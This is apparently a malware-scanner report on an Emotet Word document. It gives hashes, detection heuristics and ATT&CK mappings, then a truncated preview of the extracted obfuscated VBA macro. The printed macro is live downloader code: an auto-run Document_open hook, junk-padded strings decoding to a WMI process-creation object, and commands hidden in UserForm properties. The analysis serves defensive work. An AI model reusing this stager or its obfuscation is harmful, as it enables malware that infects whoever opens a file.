Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b8e3d4836d24b411…

MALICIOUS

Office (OLE)

231.5 KB Created: 2020-08-14 19:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 3629a444f0f51db04f103acfdf4fdabb SHA-1: 472f099ddf6e63b964e976ea13498d4f21f75aac SHA-256: b8e3d4836d24b41192ee8a17ec384debcf3b71ad18e5a77361963c10ff28f3bf
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names Emotet. The macro's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9343215-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9343215-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8149 bytes
SHA-256: 4b0a78118ae568a9116b2d22e79ca63ea488f6f6c4ff3800cb272825913d5d5c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ihcx5o661ffvel0h"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
M2zhb2bg3h7.L_3_zjo9e3cj
End Sub


Attribute VB_Name = "M2zhb2bg3h7"
Attribute VB_Base = "0{DD5C8AB4-EE24-4E07-973A-BFBDADFC562A}{0FD0FBC0-7BA9-4D1A-81EC-080B923C3A27}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function L_3_zjo9e3cj()
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Dg8vl90i_gnx6oneo = M2zhb2bg3h7.HelpContextId + 100
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
F1yed8k52ms7phinc = ChrW(Dg8vl90i_gnx6oneo + (100 + 35) / 9)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Pc9gjn1gd2mq = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + F1yed8k52ms7phinc + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + M2zhb2bg3h7.Ogy5fj4wkxjfi994o1 + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
T8gt3zq301_jy4 = Azw354d0pcehsen9(Pc9gjn1gd2mq)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Set Abg9bqm1_xxkgvqy = CreateObject(T8gt3zq301_jy4)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Piy8cnn_jhwosoa4xv = M2zhb2bg3h7.Qg_la1yd_x70nuya1i.ControlTipText
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
R11gved1azw__e7 = Ulyt9dza1sxe12e1xr + (T8gt3zq301_jy4 + F1yed8k52ms7phinc + M2zhb2bg3h7.Quh9ehed22fon37kxa.ControlTipText + Piy8cnn_jhwosoa4xv)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Rylzrfpuk7go33ogu = R11gved1azw__e7 + M2zhb2bg3h7.Ogy5fj4wkxjfi994o1
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMk
... (truncated)

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